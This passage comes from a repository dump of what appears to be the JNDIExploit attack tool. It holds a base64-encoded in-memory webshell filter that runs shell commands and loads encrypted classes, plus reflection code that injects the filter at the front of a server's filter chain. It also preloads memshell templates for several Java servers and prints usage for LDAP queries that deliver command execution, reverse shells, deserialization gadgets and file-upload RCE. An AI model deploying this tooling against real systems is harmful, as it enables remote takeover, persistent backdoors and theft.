\"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=\";\n                            byte[] bytes = base64Decoder.decodeBuffer(codeClass);\n\n                            Class clz = cl.getClass();\n                            while(method == null && clz != Object.class ){\n                                try{\n                                    method = clz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                                }catch(NoSuchMethodException ex){\n                                    clz = clz.getSuperclass();\n                                }\n                            }\n                            method.setAccessible(true);\n                            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);\n                        }\n\n                        Object filterConfig = context.getClass().getMethod(\"createFilterConfig\", new Class[]{String.class}).invoke(context, new Object[]{filterName});\n                        Object filter = clazz.newInstance();\n                        filterConfig.getClass().getMethod(\"setFilter\", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter});\n\n                        method = null;\n                        methods = webAppConfiguration.getClass().getMethods();\n                        for(int i = 0; i < methods.length; i++){\n                            if(methods[i].getName().equals(\"addFilterInfo\")){\n                                method = methods[i];\n                                break;\n                            }\n                        }\n                        method.invoke(webAppConfiguration, new Object[]{filterConfig});\n\n                        field = filterConfig.getClass().getSuperclass().getDeclaredField(\"context\");\n                        field.setAccessible(true);\n                        Object original = field.get(filterConfig);\n\n                        //设置为null，从而 addMappingForUrlPatterns 流程中不会抛出异常\n                        field.set(filterConfig, null);\n\n                        method = filterConfig.getClass().getDeclaredMethod(\"addMappingForUrlPatterns\", new Class[]{EnumSet.class, boolean.class, String[].class});\n                        method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}});\n\n                        //addMappingForUrlPatterns 流程走完，再将其设置为原来的值\n                        field.set(filterConfig, original);\n\n                        method = null;\n                        methods = webAppConfiguration.getClass().getMethods();\n                        for(int i = 0; i < methods.length; i++){\n                            if(methods[i].getName().equals(\"getUriFilterMappings\")){\n                                method = methods[i];\n                                break;\n                            }\n                        }\n\n                        //这里的目的是为了将我们添加的动态 Filter 放到第一位\n                        List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]);\n                        uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1));\n                    }\n\n                    break;\n                }\n            }\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/utils/Cache.java",
    "content": "package com.feihong.ldap.utils;\n\nimport net.jodah.expiringmap.ExpirationPolicy;\nimport net.jodah.expiringmap.ExpiringMap;\nimport java.util.concurrent.TimeUnit;\n\npublic class Cache {\n    private static ExpiringMap<String, byte[]> map = ExpiringMap.builder()\n            .maxSize(1000)\n            .expiration(30, TimeUnit.SECONDS)\n            .variableExpiration()\n            .expirationPolicy(ExpirationPolicy.CREATED)\n            .build();\n\n    static{\n        try {\n            //过期时间100年，永不过期的简单方法\n            map.put(\"TomcatMemshellTemplate\", Util.getClassBytes(\"com.feihong.ldap.template.TomcatMemshellTemplate\"), 365 * 100, TimeUnit.DAYS);\n            map.put(\"JettyMemshellTemplate\", Util.getClassBytes(\"com.feihong.ldap.template.JettyMemshellTemplate\"), 365 * 100, TimeUnit.DAYS);\n            map.put(\"WeblogicMemshellTemplate\", Util.getClassBytes(\"com.feihong.ldap.template.WeblogicMemshellTemplate\"), 365 * 100, TimeUnit.DAYS);\n            map.put(\"JBossMemshellTemplate\", Util.getClassBytes(\"com.feihong.ldap.template.JBossMemshellTemplate\"), 365 * 100, TimeUnit.DAYS);\n            map.put(\"WebsphereMemshellTemplate\", Util.getClassBytes(\"com.feihong.ldap.template.WebsphereMemshellTemplate\"), 365 * 100, TimeUnit.DAYS);\n            map.put(\"SpringMemshellTemplate\", Util.getClassBytes(\"com.feihong.ldap.template.SpringMemshellTemplate\"), 365 * 100, TimeUnit.DAYS);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static byte[] get(String key){\n        return map.get(key);\n    }\n\n    public static void set(String key, byte[] bytes){\n        map.put(key, bytes);\n    }\n\n    public static boolean contains(String key){\n        return map.containsKey(key);\n    }\n\n    public static void remove(String key){\n        map.remove(key);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/utils/Config.java",
    "content": "package com.feihong.ldap.utils;\n\nimport com.beust.jcommander.JCommander;\nimport com.beust.jcommander.Parameter;\nimport com.beust.jcommander.UnixStyleUsageFormatter;\nimport com.feihong.ldap.Starter;\n\npublic class Config {\n    public static String codeBase;\n\n    @Parameter(names = {\"-i\", \"--ip\"}, description = \"Local ip address \", required = true, order = 1)\n    public static String ip;\n\n    @Parameter(names = {\"-l\", \"--ldapPort\"}, description = \"Ldap bind port\", order = 2)\n    public static int ldapPort = 1389;\n\n    @Parameter(names = {\"-p\", \"--httpPort\"}, description = \"Http bind port\", order = 3)\n    public static int httpPort = 8080;\n\n    @Parameter(names = {\"-u\", \"--usage\"}, description = \"Show usage\", order = 4)\n    public static boolean showUsage;\n\n    @Parameter(names = {\"-h\", \"--help\"}, help = true, description = \"Show this help\")\n    private static boolean help = false;\n\n    public static void applyCmdArgs(String[] args) {\n        //process cmd args\n        JCommander jc = JCommander.newBuilder()\n                .addObject(new Config())\n                .build();\n        try{\n            jc.parse(args);\n        }catch(Exception e){\n            if(!showUsage){\n                System.out.println(\"Error: \" + e.getMessage() + \"\\n\");\n                help = true;\n            }\n        }\n\n        if(showUsage){\n            String ip = (Config.ip != null) ? Config.ip : \"[IP]\";\n            String port = (Config.ip != null) ? Config.ldapPort + \"\" : \"[PORT]\";\n\n            System.out.println(\"Supported LADP Queries：\");\n            System.out.println(\"* all words are case INSENSITIVE when send to ldap server\");\n            String prefix = \"ldap://\" + Config.ip + \":\" + Config.ldapPort + \"/\";\n            System.out.println(\"\\n[+] Basic Queries: \" + prefix + \"Basic/[PayloadType]/[Params], e.g.\");\n            System.out.println(\"    \" + prefix + \"Basic/Dnslog/[domain]\");\n            System.out.println(\"    \" + prefix + \"Basic/Command/[cmd]\");\n            System.out.println(\"    \" + prefix + \"Basic/Command/Base64/[base64_encoded_cmd]\");\n            System.out.println(\"    \" + prefix + \"Basic/ReverseShell/[ip]/[port]  ---windows NOT supported\");\n            System.out.println(\"    \" + prefix + \"Basic/TomcatMemshell\");\n            System.out.println(\"    \" + prefix + \"Basic/JettyMemshell\");\n            System.out.println(\"    \" + prefix + \"Basic/WeblogicMemshell\");\n            System.out.println(\"    \" + prefix + \"Basic/JBossMemshell\");\n            System.out.println(\"    \" + prefix + \"Basic/WebsphereMemshell\");\n            System.out.println(\"    \" + prefix + \"Basic/SpringMemshell\");\n\n            System.out.println(\"\\n[+] Deserialize Queries: \" + prefix + \"Deserialize/[GadgetType]/[PayloadType]/[Params], e.g.\");\n            System.out.println(\"    \" + prefix + \"Deserialize/URLDNS/[domain]\");\n            System.out.println(\"    \" + prefix + \"Deserialize/CommonsCollections1/Dnslog/[domain]\");\n            System.out.println(\"    \" + prefix + \"Deserialize/CommonsCollections2/Command/[cmd]\");\n            System.out.println(\"    \" + prefix + \"Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]\");\n            System.out.println(\"    \" + prefix + \"Deserialize/C3P0/ReverseShell/[ip]/[port]  ---windows NOT supported\");\n            System.out.println(\"    \" + prefix + \"Deserialize/Jre8u20/TomcatMemshell    ---ALSO support other memshells\");\n\n            System.out.println(\"\\n[+] TomcatBypass Queries\");\n            System.out.println(\"    \" + prefix + \"TomcatBypass/Dnslog/[domain]\");\n            System.out.println(\"    \" + prefix + \"TomcatBypass/Command/[cmd]\");\n            System.out.println(\"    \" + prefix + \"TomcatBypass/Command/Base64/[base64_encoded_cmd]\");\n            System.out.println(\"    \" + prefix + \"TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported\");\n            System.out.println(\"    \" + prefix + \"TomcatBypass/TomcatMemshell\");\n            System.out.println(\"    \" + prefix + \"TomcatBypass/SpringMemshell\");\n\n            System.out.println(\"\\n[+] GroovyBypass Queries\");\n            System.out.println(\"    \" + prefix + \"GroovyBypass/Command/[cmd]\");\n            System.out.println(\"    \" + prefix + \"GroovyBypass/Command/Base64/[base64_encoded_cmd]\");\n\n            System.out.println(\"\\n[+] WebsphereBypass Queries\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/List/file=[file or directory]\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/Upload/Dnslog/[domain]\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/Upload/Command/[cmd]\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/Upload/WebsphereMemshell\");\n            System.out.println(\"    \" + prefix + \"WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp\");\n\n            System.exit(0);\n        }\n\n//        //获取当前 Jar 的名称\n//        String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();\n        jc.setProgramName(\"java -jar JNDIExploit.jar\");\n        jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));\n\n        if(help) {\n            jc.usage(); //if -h specified, show help and exit\n            System.exit(0);\n        }\n\n        // 特别注意：最后一个反斜杠不能少啊\n        Config.codeBase = \"http://\" + Config.ip + \":\" + Config.httpPort + \"/\";\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/utils/Util.java",
    "content": "package com.feihong.ldap.utils;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Method;\nimport java.util.Random;\n\npublic class Util {\n    public static String getRandomString() {\n        String str = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < 10; i++) {\n            char ch = str.charAt(new Random().nextInt(str.length()));\n            sb.append(ch);\n        }\n        return sb.toString();\n    }\n\n    public static String getClassCode(String className) throws Exception {\n        byte[] bytes = getClassBytes(className);\n        String result = Util.base64Encode(bytes);\n\n        return result;\n    }\n\n    public static byte[] getClassBytes(String className) throws Exception {\n        String resoucePath = \"/\" + className.replaceAll(\"\\\\.\", \"/\") + \".class\";\n        InputStream in = Util.class.getResourceAsStream(resoucePath);\n        byte[] bytes = new byte[1024];\n        ByteArrayOutputStream baous = new ByteArrayOutputStream();\n        int len = 0;\n        while((len = in.read(bytes)) != -1){\n            baous.write(bytes, 0 , len);\n        }\n\n        in.close();\n        baous.close();\n\n        return baous.toByteArray();\n    }\n\n    public static String base64Encode(byte[] bytes) throws Exception{\n        String result;\n\n        try{\n            Class clazz = Class.forName(\"java.util.Base64\");\n            Method method = clazz.getDeclaredMethod(\"getEncoder\");\n            Object obj = method.invoke(null);\n            method = obj.getClass().getDeclaredMethod(\"encodeToString\", byte[].class);\n            obj = method.invoke(obj, bytes);\n            result = (String)obj;\n        }catch(ClassNotFoundException e){\n            Class clazz = Class.forName(\"sun.misc.BASE64Encoder\");\n            Method method = clazz.getMethod(\"encodeBuffer\", byte[].class);\n            Object obj = method.invoke(clazz.newInstance(), bytes);\n            result = (String)obj;\n            result = result.replaceAll(\"\\r|\\n|\\r\\n\", \"\");\n        }\n\n        return result;\n    }\n\n    public static byte[] base64Decode(String str) throws Exception{\n        byte[] bytes;\n\n        try{\n            Class clazz = Class.forName(\"java.util.Base64\");\n            Method method = clazz.getDeclaredMethod(\"getDecoder\");\n            Object obj = method.invoke(null);\n            method = obj.getClass().getDeclaredMethod(\"decode\", String.class);\n            obj = method.invoke(obj, str);\n            bytes = (byte[]) obj;\n        }catch(ClassNotFoundException e){\n            Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n            Method method = clazz.getMethod(\"decodeBuffer\", String.class);\n            Object obj = method.invoke(clazz.newInstance(), str);\n            bytes = (byte[]) obj;\n        }\n\n        return bytes;\n    }\n\n    public static byte[] serialize(Object ref) throws IOException {\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        ObjectOutputStream objOut = new ObjectOutputStream(out);\n        objOut.writeObject(ref);\n        return out.toByteArray();\n    }\n\n    public static String getCmdFromBase(String base) throws Exception {\n        int firstIndex = base.lastIndexOf(\"/\");\n        String cmd = 